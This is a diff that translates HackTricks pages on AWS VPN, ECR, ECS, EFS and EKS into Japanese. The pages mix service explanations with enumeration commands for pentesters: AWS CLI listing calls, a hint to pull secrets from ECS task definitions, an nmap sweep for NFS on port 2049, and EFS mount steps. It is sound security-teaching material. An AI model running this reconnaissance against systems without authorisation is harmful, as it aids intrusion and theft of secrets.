### Site-to-Site VPN -**Connect your on premisses network with your VPC.** +**オンプレミスネットワークをVPCに接続します。** -- **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. +- **VPN接続**：オンプレミス機器とVPC間の安全な接続。 +- **VPNトンネル**：顧客ネットワークからAWSへのデータが通過できる暗号化されたリンク。 - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +各VPN接続には、同時に使用できる2つのVPNトンネルが含まれています。 -- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. -- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. -- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. +- **カスタマーゲートウェイ**：AWSに顧客ゲートウェイデバイスに関する情報を提供するAWSリソース。 +- **カスタマーゲートウェイデバイス**：サイト間VPN接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーション。 +- **仮想プライベートゲートウェイ**：サイト間VPN接続のAmazon側のVPN集中装置。サイト間VPN接続のAmazon側のゲートウェイとして仮想プライベートゲートウェイまたはトランジットゲートウェイを使用します。 +- **トランジットゲートウェイ**：VPCとオンプレミスネットワークを相互接続するために使用できるトランジットハブ。サイト間VPN接続のAmazon側のゲートウェイとしてトランジットゲートウェイまたは仮想プライベートゲートウェイを使用します。 #### Limitations -- IPv6 traffic is not supported for VPN connections on a virtual private gateway. -- An AWS VPN connection does not support Path MTU Discovery. +- IPv6トラフィックは、仮想プライベートゲートウェイのVPN接続ではサポートされていません。 +- AWS VPN接続は、Path MTU Discoveryをサポートしていません。 -In addition, take the following into consideration when you use Site-to-Site VPN. +さらに、サイト間VPNを使用する際には、次の点を考慮してください。 -- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. +- VPCを共通のオンプレミスネットワークに接続する場合、ネットワークのCIDRブロックが重複しないようにすることをお勧めします。 ### Client VPN -**Connect from your machine to your VPC** +**あなたのマシンからVPCに接続します** #### Concepts -- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. -- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +- **クライアントVPNエンドポイント**：クライアントVPNセッションを有効にし、管理するために作成および構成するリソースです。すべてのクライアントVPNセッションが終了するリソースです。 +- **ターゲットネットワーク**：ターゲットネットワークは、クライアントVPNエンドポイントに関連付けるネットワークです。**VPCのサブネットはターゲットネットワークです**。サブネットをクライアントVPNエンドポイントに関連付けることで、VPNセッションを確立できます。高可用性のために、複数のサブネットをクライアントVPNエンドポイントに関連付けることができます。すべてのサブネットは同じVPCからでなければなりません。各サブネットは異なるアベイラビリティゾーンに属する必要があります。 +- **ルート**：各クライアントVPNエンドポイントには、利用可能な宛先ネットワークルートを説明するルートテーブルがあります。ルートテーブル内の各ルートは、特定のリソースまたはネットワークへのトラフィックのパスを指定します。 +- **認可ルール**：認可ルールは、**ネットワークにアクセスできるユーザーを制限します**。指定されたネットワークに対して、アクセスを許可されているActive Directoryまたはアイデンティティプロバイダー（IdP）グループを構成します。このグループに属するユーザーのみが指定されたネットワークにアクセスできます。**デフォルトでは、認可ルールはありません**。ユーザーがリソースやネットワークにアクセスできるようにするには、認可ルールを構成する必要があります。 +- **クライアント**：VPNセッションを確立するためにクライアントVPNエンドポイントに接続するエンドユーザー。エンドユーザーはOpenVPNクライアントをダウンロードし、作成したクライアントVPN構成ファイルを使用してVPNセッションを確立する必要があります。 +- **クライアントCIDR範囲**：クライアントIPアドレスを割り当てるためのIPアドレス範囲。クライアントVPNエンドポイントへの各接続には、クライアントCIDR範囲から一意のIPアドレスが割り当てられます。クライアントCIDR範囲を選択します。例えば、`10.2.0.0/16`。 +- **クライアントVPNポート**：AWSクライアントVPNは、TCPおよびUDPの両方でポート443と1194をサポートしています。デフォルトはポート443です。 +- **クライアントVPNネットワークインターフェース**：サブネットをクライアントVPNエンドポイントに関連付けると、そのサブネットにクライアントVPNネットワークインターフェースが作成されます。**クライアントVPNエンドポイントからVPCに送信されるトラフィックは、クライアントVPNネットワークインターフェースを介して送信されます**。その後、ソースネットワークアドレス変換（SNAT）が適用され、クライアントCIDR範囲からのソースIPアドレスがクライアントVPNネットワークインターフェースIPアドレスに変換されます。 +- **接続ログ**：クライアントVPNエンドポイントの接続イベントをログに記録するために接続ログを有効にできます。この情報を使用してフォレンジックを実行したり、クライアントVPNエンドポイントの使用状況を分析したり、接続の問題をデバッグしたりできます。 +- **セルフサービスポータル**：クライアントVPNエンドポイントのセルフサービスポータルを有効にできます。クライアントは、自分の資格情報を使用してウェブベースのポータルにログインし、クライアントVPNエンドポイント構成ファイルの最新バージョンをダウンロードしたり、AWSが提供するクライアントの最新バージョンをダウンロードしたりできます。 #### Limitations -- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. -- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -- The **client CIDR range cannot be changed** after you create the Client VPN endpoint. -- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. -- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. -- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -- Client VPN supports **IPv4** traffic only. -- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. -- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. +- **クライアントCIDR範囲は、関連付けられたサブネットが存在するVPCのローカルCIDR**と重複してはならず、クライアントVPNエンドポイントのルートテーブルに手動で追加されたルートとも重複してはなりません。 +- クライアントCIDR範囲は、**少なくとも/22**のブロックサイズを持ち、**/12を超えてはなりません**。 +- クライアントCIDR範囲内の**アドレスの一部**は、クライアントVPNエンドポイントの可用性モデルを**サポートするために使用され**、クライアントに割り当てることはできません。したがって、クライアントVPNエンドポイントでサポートする最大同時接続数を有効にするために必要なIPアドレスの2倍の数を含むCIDRブロックを**割り当てることをお勧めします**。 +- **クライアントCIDR範囲は、クライアントVPNエンドポイントを作成した後に変更することはできません**。 +- **クライアントVPNエンドポイントに関連付けられたサブネットは** **同じVPC内でなければなりません**。 +- **同じアベイラビリティゾーンから複数のサブネットをクライアントVPNエンドポイントに関連付けることはできません**。 +- クライアントVPNエンドポイントは、**専用テナンシーVPC内のサブネットの関連付けをサポートしていません**。 +- クライアントVPNは**IPv4**トラフィックのみをサポートします。 +- クライアントVPNは**連邦情報処理基準（FIPS）**に**準拠していません**。 +- マルチファクター認証（MFA）がActive Directoryで無効になっている場合、ユーザーパスワードは次の形式であることはできません。 - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` -- The self-service portal is **not available for clients that authenticate using mutual authentication**. +- セルフサービスポータルは、**相互認証を使用して認証されるクライアントには利用できません**。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..a8c0cd98b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -6,49 +6,48 @@ ### ECR -#### Basic Information +#### 基本情報 -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) は **管理されたコンテナイメージレジストリサービス** です。これは、顧客がよく知られたインターフェースを使用してコンテナイメージと対話できる環境を提供するように設計されています。具体的には、Docker CLI または任意の好みのクライアントの使用がサポートされており、コンテナイメージのプッシュ、プル、および管理などの活動を可能にします。 -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR は **レジストリ** と **リポジトリ** の 2 種類のオブジェクトで構成されています。 -**Registries** +**レジストリ** -Every AWS account has 2 registries: **Private** & **Public**. +すべての AWS アカウントには 2 つのレジストリがあります: **プライベート** と **パブリック**。 -1. **Private Registries**: +1. **プライベートレジストリ**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **デフォルトでプライベート**: Amazon ECR プライベートレジストリに保存されたコンテナイメージは、**あなたの AWS アカウント内の認可されたユーザー** または許可を与えられたユーザーのみに **アクセス可能** です。 +- **プライベートリポジトリ** の URI は `.dkr.ecr..amazonaws.com/` の形式に従います。 +- **アクセス制御**: **IAM ポリシー** を使用してプライベートコンテナイメージへの **アクセスを制御** でき、ユーザーやロールに基づいて細かい権限を設定できます。 +- **AWS サービスとの統合**: Amazon ECR プライベートレジストリは、EKS、ECS などの他の AWS サービスと簡単に **統合** できます。 +- **他のプライベートレジストリオプション**: +- タグ不変性列はそのステータスを示し、タグ不変性が有効になっている場合、**既存のタグ** を持つイメージの **プッシュ** を上書きすることを **防ぎます**。 +- **暗号化タイプ** 列はリポジトリの暗号化プロパティを示し、AES-256 などのデフォルトの暗号化タイプや **KMS** 有効な暗号化を表示します。 +- **プルスルーキャッシュ** 列はそのステータスを示し、プルスルーキャッシュのステータスがアクティブであれば、**外部パブリックリポジトリのリポジトリをあなたのプライベートリポジトリにキャッシュします**。 +- 特定の **IAM ポリシー** を設定して異なる **権限** を付与できます。 +- **スキャン設定** は、リポジトリ内に保存されたイメージの脆弱性をスキャンすることを可能にします。 -2. **Public Registries**: +2. **パブリックレジストリ**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **パブリックアクセス**: ECR パブリックレジストリに保存されたコンテナイメージは、**認証なしでインターネット上の誰でもアクセス可能** です。 +- **パブリックリポジトリ** の URI は `public.ecr.aws//` のようになります。 `` 部分は管理者によって覚えやすい別の文字列に変更できます。 -**Repositories** +**リポジトリ** -These are the **images** that in the **private registry** or to the **public** one. +これらは **プライベートレジストリ** または **パブリック** のイメージです。 > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> リポジトリにイメージをアップロードするには、**ECR リポジトリはイメージと同じ名前である必要があります**。 -#### Registry & Repository Policies +#### レジストリ & リポジトリポリシー -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**レジストリとリポジトリ** には、他のプリンシパル/アカウントに権限を付与するために使用できる **ポリシー** もあります。たとえば、次のリポジトリポリシーの画像では、組織全体の任意のユーザーがイメージにアクセスできることがわかります。
-#### Enumeration - +#### 列挙 ```bash # Get repos aws ecr describe-repositories @@ -68,39 +67,34 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - -#### Unauthenticated Enum +#### 認証されていない列挙 {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privesc +#### 権限昇格 -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +次のページでは、**ECRの権限を悪用して権限を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post Exploitation +#### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Persistence +#### 永続性 {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..156caa1a4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,31 +4,30 @@ ## ECS -### Basic Information +### 基本情報 -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services**（ECS）は、**クラウドでコンテナ化されたアプリケーションをホストするためのプラットフォーム**を提供します。ECSには、**EC2**インスタンスタイプと**サーバーレス**オプションである**Fargate**の2つの**デプロイメント**方法があります。このサービスは、**クラウドでのコンテナの実行を非常に簡単かつストレスフリーにします**。 -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECSは、以下の3つのビルディングブロックを使用して動作します：**クラスター**、**サービス**、および**タスク定義**。 -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **クラスター**は、**クラウドで実行されているコンテナのグループ**です。前述のように、コンテナにはEC2とFargateの2つの起動タイプがあります。AWSは、**EC2**起動タイプを「顧客が「自分の」コンテナ化されたアプリケーションを、顧客が**管理する**Amazon EC2インスタンスのクラスターで実行できるようにする」と定義しています。**Fargate**は似ており、「**バックエンドインフラストラクチャをプロビジョニングおよび管理する必要なく**、コンテナ化されたアプリケーションを実行できる」と定義されています。 +- **サービス**はクラスター内に作成され、**タスクを実行する**責任があります。サービス定義内では、**実行するタスクの数、自動スケーリング、キャパシティプロバイダー（Fargate/EC2/External）、** **ネットワーキング**情報（VPC、サブネット、セキュリティグループなど）を定義します。 +- **アプリケーションの種類は2つ**あります： +- **サービス**：停止および再起動できる長時間実行される計算作業を処理するタスクのグループ。例えば、ウェブアプリケーション。 +- **タスク**：実行されて終了するスタンドアロンのタスク。例えば、バッチジョブ。 +- サービスアプリケーションの中には、**2種類のサービススケジューラー**があります： +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html)：レプリカスケジューリング戦略は、クラスター全体で**希望する数**のタスクを配置および**維持**します。何らかの理由でタスクがシャットダウンした場合、同じまたは異なるノードで新しいタスクが起動されます。 +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html)：必要な要件を満たす各アクティブコンテナインスタンスに正確に1つのタスクをデプロイします。希望するタスクの数、タスク配置戦略、またはサービス自動スケーリングポリシーを指定する必要はありません。 +- **タスク定義**は、**実行されるコンテナを定義する**責任があります。また、**ポートマッピング**、**環境変数**、Dockerの**エントリポイント**など、コンテナに設定されるさまざまなパラメータも含まれます。 +- **機密情報のために環境変数を確認してください**！ -### Sensitive Data In Task Definitions +### タスク定義における機密データ -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +タスク定義は、**ECSで実行される実際のコンテナを構成する**責任があります。タスク定義はコンテナの実行方法を定義するため、多くの情報が含まれています。 -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. - -### Enumeration +PacuはECSを列挙できます（list-clusters、list-container-instances、list-services、list-task-definitions）、タスク定義をダンプすることもできます。 +### 列挙 ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### 権限昇格 -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +次のページでは、**ECSの権限を悪用して権限を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..0d1286ad9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,22 +4,21 @@ ## EFS -### Basic Information +### 基本情報 -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS) は、AWS によって **完全に管理された、スケーラブルで弾力性のあるネットワークファイルシステム** として提供されています。このサービスは、複数の EC2 インスタンスや他の AWS サービスによって同時にアクセスできる **ファイルシステム** の作成と構成を容易にします。EFS の主な機能には、手動介入なしで自動的にスケールする能力、低遅延アクセスの提供、高スループットワークロードのサポート、データの耐久性の保証、さまざまな AWS セキュリティメカニズムとのシームレスな統合が含まれます。 -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +**デフォルト**では、マウントする EFS フォルダーは **`/`** ですが、**異なる名前**を持つこともあります。 -### Network Access +### ネットワークアクセス -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +EFS は VPC 内に作成され、**デフォルトではすべての VPC サブネットワークでアクセス可能**です。ただし、EFS にはセキュリティグループがあります。EFS をマウントするために **EC2**（または他の AWS サービス）にアクセスを許可するには、EFS セキュリティグループで EC2 セキュリティグループからのインバウンド NFS**（ポート 2049）**ルールを **許可する必要があります**。 -Without this, you **won't be able to contact the NFS service**. +これがないと、**NFS サービスに連絡できません**。 -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) - -### Enumeration +これを行う方法の詳細については、次を確認してください: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +### 列挙 ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. +> EFS マウントポイントが同じ VPC 内にあるが、異なるサブネットにある可能性があります。すべての **EFS ポイントを見つけるためには `/16` ネットマスクをスキャンする方が良いでしょう**。 ### Mount EFS - ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` +### IAMアクセス -### IAM Access - -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +**デフォルト**では、**EFSへのネットワークアクセスを持つ誰でも**、**ルートユーザーとしてマウントし、読み書きすることができます**。ただし、ファイルシステムポリシーが設定されている場合、**特定の権限を持つプリンシパルのみがアクセスできる**ことがあります。\ +例えば、このファイルシステムポリシーは、**IAM権限を持っていない場合、**ファイルシステムを**マウントすることさえ許可しません**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +また、これは**匿名アクセスを防ぎます**：
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +IAMによって保護されたファイルシステムをマウントするには、マウントコマンドでタイプ「efs」を使用する必要があります： ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` +### アクセスポイント -### Access Points +**アクセスポイント**は、**EFSファイルシステム**への**アプリケーション**特有のエントリーポイントであり、共有データセットへのアプリケーションアクセスを管理しやすくします。 -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. - -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +アクセスポイントを作成すると、アクセスポイントを通じて作成されるファイルやディレクトリの**所有者とPOSIXパーミッション**を**指定**できます。また、既存のディレクトリを指定するか、希望のパーミッションで新しいディレクトリを作成することで、アクセスポイントの**カスタムルートディレクトリ**を**定義**することもできます。これにより、**アプリケーションまたはユーザーごとにEFSファイルシステムへのアクセスを制御**でき、共有ファイルデータの管理とセキュリティが容易になります。 +**アクセスポイントからファイルシステムをマウントするには、次のようにします:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> 注意してください。アクセス・ポイントをマウントしようとする場合でも、**ネットワーク経由でNFSサービスに連絡できる必要があり**、EFSにファイルシステムの**ポリシー**がある場合は、マウントするために**十分なIAM権限**が必要です。 -Access points can be used for the following purposes: +アクセス・ポイントは以下の目的で使用できます： -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **権限管理の簡素化**：各アクセス・ポイントに対してPOSIXユーザーとグループを定義することで、基盤となるファイルシステムの権限を変更することなく、異なるアプリケーションやユーザーのアクセス権限を簡単に管理できます。 +- **ルートディレクトリの強制**：アクセス・ポイントはEFSファイルシステム内の特定のディレクトリへのアクセスを制限でき、各アプリケーションやユーザーが指定されたフォルダー内で操作することを保証します。これにより、偶発的なデータの露出や変更を防ぐことができます。 +- **ファイルシステムアクセスの簡素化**：アクセス・ポイントはAWS Lambda関数やAWS Fargateタスクに関連付けることができ、サーバーレスおよびコンテナ化されたアプリケーションのためのファイルシステムアクセスを簡素化します。 ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..71cd1da8d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) は、ユーザーが独自の Kubernetes コントロールプレーンやノードをインストール、運用、管理する必要を排除するように設計されています。代わりに、Amazon EKS はこれらのコンポーネントを管理し、AWS 上で Kubernetes を使用してコンテナ化されたアプリケーションを展開、管理、スケールするための簡素化された方法を提供します。 -Key aspects of Amazon EKS include: +Amazon EKS の主な側面は次のとおりです： -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **管理された Kubernetes コントロールプレーン**: Amazon EKS は、パッチ適用、ノードプロビジョニング、更新などの重要なタスクを自動化します。 +2. **AWS サービスとの統合**: コンピューティング、ストレージ、データベース、セキュリティのための AWS サービスとのシームレスな統合を提供します。 +3. **スケーラビリティとセキュリティ**: Amazon EKS は、高可用性とセキュリティを考慮して設計されており、自動スケーリングや設計による隔離などの機能を提供します。 +4. **Kubernetes との互換性**: Amazon EKS 上で実行されるアプリケーションは、標準の Kubernetes 環境で実行されるアプリケーションと完全に互換性があります。 #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name 